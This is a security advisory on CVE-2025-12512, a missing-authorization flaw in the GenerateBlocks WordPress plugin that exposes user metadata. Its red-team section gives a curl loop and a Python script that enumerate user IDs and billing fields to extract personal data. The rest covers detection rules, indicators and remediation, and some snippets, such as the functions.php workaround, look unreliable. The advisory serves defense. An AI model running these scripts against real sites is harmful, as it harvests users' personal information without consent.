CVE-2025-12512

Executive Summary

CVE-2025-12512 is a Missing Authorization vulnerability in the GenerateBlocks WordPress plugin (versions up to and including 2.1.2). The plugin registers multiple REST API routes under generateblocks/v1/meta/ that are intended to be accessible only to users with edit_posts capability. However, this capability is granted to low-privileged roles such as Contributor. The handlers accept arbitrary entity IDs (user IDs, post IDs, etc.) and meta keys, returning any requested metadata with only a short blacklist of password-like keys for protection. There is no object-level authorization ensuring the caller is requesting only their own data, and there is no allowlist of safe keys.

This makes it possible for authenticated attackers, with Contributor-level access and above, to exfiltrate personally identifiable information (PII) and other sensitive profile data of administrator accounts or any other users by directly querying user meta keys via the exposed endpoints via the get_user_meta_rest function. In typical WordPress + WooCommerce setups, this includes names, email, phone, and address fields that WooCommerce stores in user meta, enabling targeted phishing, account takeover pretexting, and privacy breaches.

Supply Chain & Package Security

This vulnerability affects the GenerateBlocks WordPress plugin, which is distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are affected. There is no known supply chain compromise, but the plugin's lack of proper authorization checks introduces a significant data exposure risk.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of PII)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated due to the ease of exploitation and the sensitivity of data that can be exfiltrated (PII, WooCommerce customer data).

Deep Dive & Mechanics

The vulnerability lies in the plugin's REST API registration. The plugin registers routes under generateblocks/v1/meta/ that are intended to handle metadata operations. The authorization check uses current_user_can('edit_posts'), which is a capability granted to Contributor, Author, Editor, and Administrator roles. However, the handlers do not perform any object-level authorization to verify that the user is requesting their own data.

The get_user_meta_rest function accepts a user_id parameter and a meta_key parameter. It then calls get_user_meta($user_id, $meta_key, true) and returns the value. The only protection is a blacklist of keys like user_pass, user_activation_key, etc. This means an attacker can enumerate user IDs (e.g., 1 for admin, 2 for another user) and common meta keys (e.g., first_name, last_name, nickname, billing_address_1, billing_city, billing_postcode, billing_phone, billing_email) to exfiltrate sensitive data.

Example vulnerable endpoint:

GET /wp-json/generateblocks/v1/meta/user/1?meta_key=first_name

This would return the first name of the user with ID 1 (typically the admin).

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.2):

// In class-rest-meta.php or similar
register_rest_route('generateblocks/v1/meta', '/user/(?P<id>\d+)', array(
    'methods' => 'GET',
    'callback' => array($this, 'get_user_meta_rest'),
    'permission_callback' => function() {
        return current_user_can('edit_posts');
    },
    'args' => array(
        'id' => array(
            'required' => true,
            'validate_callback' => function($param) {
                return is_numeric($param);
            }
        ),
        'meta_key' => array(
            'required' => true,
            'sanitize_callback' => 'sanitize_text_field'
        )
    )
));

public function get_user_meta_rest($request) {
    $user_id = $request->get_param('id');
    $meta_key = $request->get_param('meta_key');
    
    // Blacklist of sensitive keys
    $blacklist = array('user_pass', 'user_activation_key', 'session_tokens');
    if (in_array($meta_key, $blacklist)) {
        return new WP_Error('rest_forbidden', 'Key is blacklisted', array('status' => 403));
    }
    
    $meta_value = get_user_meta($user_id, $meta_key, true);
    return rest_ensure_response($meta_value);
}

Patched Code (Hypothetical):

// In class-rest-meta.php or similar
register_rest_route('generateblocks/v1/meta', '/user/(?P<id>\d+)', array(
    'methods' => 'GET',
    'callback' => array($this, 'get_user_meta_rest'),
    'permission_callback' => function($request) {
        // Check if the user is requesting their own data or has admin privileges
        $user_id = $request->get_param('id');
        return current_user_can('edit_posts') && (get_current_user_id() == $user_id || current_user_can('manage_options'));
    },
    'args' => array(
        'id' => array(
            'required' => true,
            'validate_callback' => function($param) {
                return is_numeric($param);
            }
        ),
        'meta_key' => array(
            'required' => true,
            'sanitize_callback' => 'sanitize_text_field'
        )
    )
));

public function get_user_meta_rest($request) {
    $user_id = $request->get_param('id');
    $meta_key = $request->get_param('meta_key');
    
    // Allowlist of safe keys
    $allowlist = array('first_name', 'last_name', 'nickname', 'description');
    if (!in_array($meta_key, $allowlist)) {
        return new WP_Error('rest_forbidden', 'Key is not allowed', array('status' => 403));
    }
    
    $meta_value = get_user_meta($user_id, $meta_key, true);
    return rest_ensure_response($meta_value);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with GenerateBlocks plugin <= 2.1.2 installed and activated.
• An authenticated user account with at least Contributor role.

Exploitation Steps:

1. Enumerate User IDs: User IDs in WordPress are sequential starting from 1 (admin). You can also use other endpoints like /wp-json/wp/v2/users to get a list of users.

2. Craft API Request: Use a tool like curl or Burp Suite to send a GET request to the vulnerable endpoint.

   curl -X GET "https://target.com/wp-json/generateblocks/v1/meta/user/1?meta_key=first_name" \
        -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"
   

3. Exfiltrate Data: Iterate through user IDs and common meta keys.

   #!/bin/bash
   for user_id in {1..10}; do
       for meta_key in first_name last_name nickname billing_address_1 billing_city billing_postcode billing_phone billing_email; do
           curl -s -X GET "https://target.com/wp-json/generateblocks/v1/meta/user/$user_id?meta_key=$meta_key" \
                -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"
       done
   done
   

4. Automated Exploit Script (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   cookie = sys.argv[2]
   
   headers = {
       'Cookie': f'wordpress_logged_in_{cookie}'
   }
   
   meta_keys = ['first_name', 'last_name', 'nickname', 'billing_address_1', 'billing_city', 'billing_postcode', 'billing_phone', 'billing_email']
   
   for user_id in range(1, 11):
       for meta_key in meta_keys:
           url = f"{target}/wp-json/generateblocks/v1/meta/user/{user_id}?meta_key={meta_key}"
           response = requests.get(url, headers=headers)
           if response.status_code == 200:
               print(f"User {user_id} - {meta_key}: {response.text}")
   

Blue Team (Detection & Prevention)

Detection:

• Monitor REST API access logs for unusual patterns, especially requests to /wp-json/generateblocks/v1/meta/user/* with multiple meta_key parameters.
• Look for requests from low-privileged users (Contributor) accessing user meta data of other users.
• Use Web Application Firewall (WAF) rules to block requests to the vulnerable endpoint from non-admin users.

Prevention:

• Immediately update the GenerateBlocks plugin to a patched version once available.
• If no patch is available, disable the plugin or remove the vulnerable REST routes via a custom plugin or code snippet.
• Implement a custom permission callback that checks object-level authorization.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /wp-json/generateblocks/v1/meta/user/[0-9]+?meta_key=.*
  • User-Agent strings from common exploitation tools (e.g., curl, python-requests, Go-http-client)
  • Multiple requests from the same IP address to different user IDs and meta keys in a short period.

• Host IOCs:

  • WordPress debug log entries showing REST API errors or warnings related to generateblocks/v1/meta/.
  • Unusual database queries to wp_usermeta table from the web server user.

• Log IOCs:

  • Apache/Nginx access logs showing patterns like:

    192.168.1.100 - - [10/Oct/2023:12:34:56 +0000] "GET /wp-json/generateblocks/v1/meta/user/1?meta_key=first_name HTTP/1.1" 200 5 "-" "curl/7.68.0"
    

Detection Engineering

YARA Rule

rule Detect_GenerateBlocks_Exploitation {
    meta:
        description = "Detects exploitation attempts against CVE-2025-12512 in GenerateBlocks plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-12512"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $endpoint = "/wp-json/generateblocks/v1/meta/user/"
        $meta_key_param = "meta_key="
        $sensitive_keys = /(first_name|last_name|nickname|billing_address|billing_city|billing_postcode|billing_phone|billing_email)/
    condition:
        all of them
}

Sigma Rule

title: GenerateBlocks CVE-2025-12512 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit the Missing Authorization vulnerability in GenerateBlocks plugin
author: Valters IT
date: 2025/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-12512
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/generateblocks/v1/meta/user/'
        cs-uri-query|contains: 'meta_key='
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12512 GenerateBlocks Missing Authorization Exploitation";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/wp-json/generateblocks/v1/meta/user/";
    http_uri;
    content:"meta_key=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-12512;
)

Remediation & Mitigation

Immediate Actions:

1. Update the Plugin: Check for an updated version of GenerateBlocks that patches this vulnerability. If available, update immediately.
2. Disable the Plugin: If no patch is available, disable the GenerateBlocks plugin until a fix is released.
3. Restrict User Roles: Review and restrict user roles. Remove edit_posts capability from Contributor role if not needed.

Long-term Mitigations:

1. Implement Web Application Firewall (WAF): Create custom WAF rules to block requests to the vulnerable endpoint from non-admin users.
2. Monitor Logs: Enable detailed logging for REST API requests and monitor for suspicious activity.
3. Principle of Least Privilege: Ensure that users have only the minimum necessary capabilities.
4. Code Review: If you have access to the plugin source code, implement proper object-level authorization checks and use an allowlist for meta keys.

Workaround (Code Snippet): Add the following code to your theme's functions.php file or a custom plugin to disable the vulnerable REST routes:

add_action('rest_api_init', function() {
    // Remove the vulnerable routes
    remove_action('rest_api_init', 'generateblocks_register_meta_routes');
}, 20);

Valters IT
Securing Digital Frontiers